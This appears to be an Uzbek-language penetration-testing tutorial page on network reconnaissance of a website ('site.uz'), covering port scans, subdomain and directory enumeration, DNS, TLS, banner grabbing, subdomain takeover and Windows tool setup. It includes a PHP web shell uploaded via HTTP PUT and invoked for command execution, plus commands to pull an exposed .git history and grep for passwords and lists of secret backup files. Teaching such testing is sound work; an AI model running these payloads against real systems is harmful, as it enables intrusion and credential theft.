Tarmoq hujumlari

01Port skanlash — nmap

Serverda qanday "eshiklar" (portlar) ochiqligini aniqlash. Bu pentestning birinchi texnik bosqichlaridan.

Asosiy skanlar

$ # o'rnatish
sudo apt update && sudo apt install -y nmap

$ # 1000 ta tez port (eng ko'p ishlatiladigan)
nmap -sT -T4 -p- --min-rate 1000 -oN nmap-full.txt site.uz

$ # aniq portlar
nmap -sV -sC -p 22,80,443,3306,5432,6379,27017 site.uz

$ # butun tarmoq (sizning IP diapazoningiz)
nmap -sn 10.0.0.0/24

> # PowerShell da o'rnatish
winget install Inkscape.Inkscape   # (nmap emas, misol)
choco install nmap -y              # Chocolatey orqali

> # PowerShell Test-NetConnection
Test-NetConnection -ComputerName site.uz -Port 443
Test-NetConnection site.uz -Port 22,443,3306

> # barcha portlarni tekshirish (sekin, lekin ishlaydi)
1..1000 | ForEach-Object {
  $r = Test-NetConnection site.uz -Port $_ -WarningAction SilentlyContinue
  if ($r.TcpTestSucceeded) { "  ochiq: $_" }
}

Nimani qidirasiz

Redis/MongoDB ochiqligini tekshirish

# 6379 (Redis) ochiqmi?
redis-cli -h site.uz -p 6379 ping
# PONG  → autentifikatsiyasiz kirish mumkin! juda xavfli

# MongoDB
mongosh "mongodb://site.uz:27017" --eval "db.adminCommand('listDatabases')"

# MySQL
mysql -h site.uz -u root -p

# 1) Parol qo'yish
redis-cli CONFIG SET requirepass "kuchliParol123!"
# 2) Faqat localhost bilan cheklash (bind 127.0.0.1)
# 3) Firewall: tashqi 6379 ni yopish
sudo ufw deny 6379

02Subdomain izlash

Saytning yashirin qismlari: api.site.uz, admin.site.uz, test.site.uz — ochiq ro'yxatda yo'q, lekin mavjud.

$ sudo apt install -y subfinder amass dnsx

$ # subfinder
subfinder -d site.uz -silent -o subs.txt
cat subs.txt | head -20

$ # amass (chuqurroq)
amass enum -d site.uz -o subs2.txt

$ # topilgan subdomain larni tekshirish
dnsx -l subs.txt -silent -a -resp-only -o live.txt

> # PowerShell — qo'lda tekshirish
$subs = @('www','api','admin','test','dev','staging','mail','ftp','vpn',
          'portal','panel','shop','blog','old','new','beta','m','dev2')
foreach ($s in $subs) {
  $h = "$s.site.uz"
  try {
    $ip = [System.Net.Dns]::GetHostAddresses($h) | Select -First 1
    "{0,-22} {1}" -f $h, $ip
  } catch { }
}

# hech narsa o'rnatmasdan
for S in www api admin test dev staging mail ftp vpn portal panel shop blog old new beta; do
  IP=$(getent hosts "$S.site.uz" 2>/dev/null | awk '{print $1}')
  [ -n "$IP" ] && echo "  $S.site.uz → $IP"
done

# yoki crt.sh orqali (sertifikatlardan)
curl -s "https://crt.sh/?q=%25.site.uz&output=json" | \
  python3 -c "import json,sys;print('\n'.join(sorted({n for r in json.load(sys.stdin) for n in r['name_value'].split()})))"

Topilgan subdomain larni tekshirish

# har birini HTTP bilan sinab ko'rish
while read S; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://$S" --max-time 5)
  [ "$CODE" != "000" ] && echo "  $S → $CODE"
done < live.txt

# test.site.uz yoki staging.site.uz ochiq bo'lsa:
curl -s https://test.site.uz/api/config | head
{"db_password":"SuperSecret123", "debug":true, "admin_token":"abc"}

# test muhitida zaif kod bo'ladi (autentifikatsiya yo'q,
# eski kutubxonalar, SQL mode yo'q, boshqa DB)

03Papkani majmuaviy izlash

Saytda qanday fayllar borligini aniqlash — "ko'rinmaydigan" fayllar.

$ # ffuf — tez va qulay
sudo apt install -y ffuf

ffuf -u https://site.uz/FUZZ -w wordlist.txt -mc all -fc 404 -o result.json

# kengaytmalar bilan
ffuf -u https://site.uz/FUZZ.php -w wordlist.txt -e php,html,txt,bak

# maxfiy fayllar
ffuf -u https://site.uz/FUZZ -w wordlist.txt -e .env,.git,.sql,.bak,.log,.old

$ # gobuster
gobuster dir -u https://site.uz -w /usr/share/wordlists/dirb/common.txt -t 20

# CMD da — for loop bilan (sekin lekin ishlaydi)
for %F in (admin login api config backup test dev secret panel upload) do (
  curl -s -o NUL -w "%F %%{http_code}\n" https://site.uz/%F
)

# yoki PowerShell
"admin","login","api","config","backup" | ForEach-Object {
  $c = (Invoke-WebRequest "https://site.uz/$_" -ErrorAction SilentlyContinue).StatusCode
  "$_ → $c"
}

# eng oddiy usul — hech narsa o'rnatmasdan
for P in admin login api config backup test dev secret panel upload \
         dashboard phpmyadmin adminer .env .git backup.sql db.sql; do
  printf "  %-16s %s\n" "$P" \
    "$(curl -s -o /dev/null -w '%{http_code}' https://site.uz/$P)"
done

Zaxira fayllar — eng tez topiladigan zaiflik

# nomini o'zgartirib qo'yish
for P in "index.php.bak" "index.php~" "index.php.old" "index.php.save" \
         "index.php.swp" ".index.php.swp" "index.php.orig" "index.php.dist" \
         "config.php.bak" ".env.bak" "database.sql" "dump.sql" \
         "site.zip" "backup.zip" "web.zip" "www.zip"; do
  printf "  %-22s %s\n" "$P" \
    "$(curl -s -o /dev/null -w '%{http_code}' "https://site.uz/$P")"
done

# .git — butun kod tarixi
curl -s https://site.uz/.git/HEAD
# 200 + "ref: refs/heads/main" → butun tarixni yuklab olish mumkin

# butun tarixni tiklash
git clone https://site.uz/.git leaked
cd leaked && git log --all --oneline
grep -rn "password\|secret\|api_key" .

04HTTP metodlari

Sayt qanday metodlarni qabul qiladi? Ba'zi saytda DELETE yoki PUT ochiq qoladi.

# qanday metodlar qabul qilinadi?
curl -s -X OPTIONS -D- -o /dev/null https://site.uz/ | grep -i "allow"

# xavfli bo'lishi mumkin bo'lgan metodlarni sinash
for M in PUT DELETE PATCH TRACE; do
  echo "  $M → $(curl -s -o /dev/null -w '%{http_code}' -X $M https://site.uz/api/test)"
done

# TRACE — boshqa sayt skriptni oladi (eski zaiflik)
curl -s -X TRACE https://site.uz/ | head -3

PUT — fayl yuklash

# server PUT'ni qabul qilsa, fayl yuklash mumkin
echo '<?php system($_GET["c"]); ?>' > shell.php
curl -s -X PUT --data-binary @shell.php https://site.uz/shell.php
curl -s "https://site.uz/shell.php?c=id"      # buyruq bajarilsa — RCE

<Directory "/var/www">
    <LimitExcept GET POST HEAD>
        Require all denied
    </LimitExcept>
</Directory>

05TLS / SSL xatolari

$ # testssl.sh — to'liq tekshiruv
git clone https://github.com/drwetter/testssl.sh
./testssl.sh/testssl.sh site.uz

# tez variant
echo | openssl s_client -connect site.uz:443 2>/dev/null | \
  grep -E "Protocol|Cipher|Verification"

# zaif protokollar
openssl s_client -connect site.uz:443 -tls1 2>&dev/null | grep -i "protocol"
openssl s_client -connect site.uz:443 -ssl3  2>/dev/null | grep -i "protocol"

# onlayn tekshiruv (o'rnatish kerak emas)
curl -s "https://api.ssllabs.com/api/v3/analyze?host=site.uz&publish=off" | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
for e in d.get('endpoints',[]):
    print(e.get('ipAddress'), e.get('serverName'), e.get('grade'))"

06DNS masalalari

$ dig site.uz A +short
$ dig site.uz MX +short          # pochka serverlari
$ dig site.uz NS +short          # nameserver
$ dig site.uz TXT +short         # ko'pincha maxfiy narsa qo'yiladi!
$ dig +short -x site.uz          # qarama-qarshi (IP → domen)
$ host -t ANY site.uz            # barcha yozuvlar

# zonа ko'chirish (subdomains ro'yxati)
dig axfr site.uz          # AXFR zaif bo'lsa — butun zona ochiq

> nslookup -type=mx site.uz
> nslookup -type=ns site.uz
> nslookup -type=txt site.uz
> nslookup site.uz

dig site.uz TXT +short
"v=spf1 include:_spf.google.com ~all"
"google-site-verification=abc123"
# ← ba'zan API kaliti shu yerda qoladi
"heroku_app_uuid=1234-5678"

07Banner va versiya aniqlash

curl -s -D- -o /dev/null https://site.uz/ | grep -iE "server|x-powered|x-generator|x-version|powered-by"

# misollar:
Server: nginx/1.30.5                 # server versiyasi
X-Powered-By: PHP/7.4.33             # PHP versiyasi — XAVFLI
X-Generator: WordPress 6.4           # CMS va versiyasi
X-AspNet-Version: 4.0.30319          # .NET

# PHP 7.4.33 = 2022-yilda EOL, yangilanish yo'q
php --version

08Subdomain takeover

Subdomain boshqa xizmatga yo'naltirilgan, lekin xizmat hisobi o'chirilgan — hujumchi o'sha xizmatga egallashi mumkin.

# 1) CNAME ni tekshirish
dig CNAME test.site.uz +short
test.site.uz.  300  IN  CNAME  myapp.herokuapp.com.

# 2) xizmat tirikmi?
curl -s -D- -o /dev/null https://myapp.herokuapp.com | grep -i "no such app"

# "No such app" → HEROKU EGALANADI

09Tarmoq qurilmasi hujumlari

Sayt serveri bilan bog'liq tizimlarni aniqlash.

# WordPressni aniqlash
curl -s -o /dev/null -w '%{http_code}\n' https://site.uz/wp-login.php   # 200
curl -s https://site.uz/ | grep -i "wp-content\|generator" | head -3

# phpMyAdmin
for P in phpmyadmin pma myadmin mysql sql dbadmin; do
  echo "  /$P → $(curl -s -o /dev/null -w '%{http_code}' https://site.uz/$P)"
done

# GitHub'dan xavfli repo (siznikini tekshiring)
# github.com/<sizning-ism> — .env, parol bo'lsa

10Tarmoq qurilmasi xaritasi

Bu — pentest yakunida tuziladigan asosiy hujjat. Barcha topilmalar shu yerda.

╔══════════════════════════════════════════════════════════════╗
║  TARM Q QURILMASI XARITASI                                    ║
╠══════════════════════════════════════════════════════════════╣
║  DOMEN:      site.uz                                         ║
║  IP:         149.50.116.15   (Poland / Warsaw)              ║
║  SERVER:     nginx/1.30.5 (teskari proksi orqali)            ║
║  PHP:        7.4.33          ⚠️ EOL — yangilanish kerak     ║
║  BACKEND:    Node.js (Express) — /api/*                       ║
║  BAZA:       JSON fayl (db.json) — SQL emas                   ║
║  AUTENT:     JWT (HS256, 512-bit sir) + server-side sessiya  ║
║  2FA:        TOTP (Google Authenticator)                      ║
║  CAPTCHA:    PNG rasm + rate limit                           ║
╠══════════════════════════════════════════════════════════════╣
║  OCHIQ PORTLAR:  80/tcp (http), 443/tcp (https)              ║
║  YOPIQ:          22, 3306, 5432, 6379, 27017 — hammasi 403  ║
╠══════════════════════════════════════════════════════════════╣
║  SUBDOMAINLAR:  www, api (DNS orqali topildi)                 ║
║  ZAXIRA:         yo'q (.git/.env 403/404)                    ║
║  TLS:            1.2/1.3, HSTS yoqiq ✓                       ║
╚══════════════════════════════════════════════════════════════╝

★Qaysi OS da ishlaydi

Bu — eng ko'p savol. Qisqa javob: ko'pchilik curl buyruqlari ikkalasida ham ishlaydi, maxsus dasturlar esa faqat Linux da.

Windows da o'rnatish

# 1. Chocolatey o'rnatish (admin CMD)
powershell -Command "Set-ExecutionPolicy Bypass -Scope Process -Force; \
  [System.Net.ServicePointManager]::SecurityProtocol = \
  [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; \
  iex ((New-Object System.Net.WebClient).DownloadString(\
  'https://community.chocolatey.org/install.ps1'))"

# 2. Asboblar
choco install nmap -y
choco install git -y
choco install python -y
choco install nodejs -y
choco install curl -y
choco install jq -y

# 3. Tekshirish
nmap --version && python --version && node -v

# Windows 10/11 da winget o'rnatilgan bo'ladi
winget install Inkscape.Inkscape   # misol

winget install --id Nmap.Nmap
winget install --id Git.Git
winget install --id Python.Python.3
winget install --id OpenJS.NodeJS
winget install --id BurntSushi.ripgrep.MSVC

# ripgrep — grep ning tezroq versiyasi ( juda foydali )
rg "password" -g "*.js"          # Windows + Linux

# Go dasturlari (nmap emas, ffuf/subfinder) — bitta ZIP
# 1) https://github.com/ffuf/ffuf/releases dan yuklab oling
# 2) ffuf.exe ni C:\tools\ ga qo'ying
# 3) PATH ga qo'shing:
setx PATH "%PATH%;C:\tools"

# 4) tekshirish
ffuf -V

Windows da curl

# CMD da
curl https://site.uz/api/x

# agar "curl" PowerShell alias bo'lsa (xato chiqsa):
curl.exe https://site.uz/api/x

# yoki PowerShell da
Invoke-WebRequest -Uri "https://site.uz/api/x" | Select-Object -Expand Content
iwr https://site.uz/api/x

# CMD da bir xil buyruq
powershell -Command "iwr https://site.uz/api/x | Select -Expand Content"

> wsl --install -d Ubuntu
# # keyin WSL ichida
$ sudo apt update && sudo apt install -y nmap ffuf
$ curl https://site.uz/api/x

Tarmoq hujumlari · Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
Faqat o'z resursingizda ishlating. Boshqa sayt uchun ruxsat oling.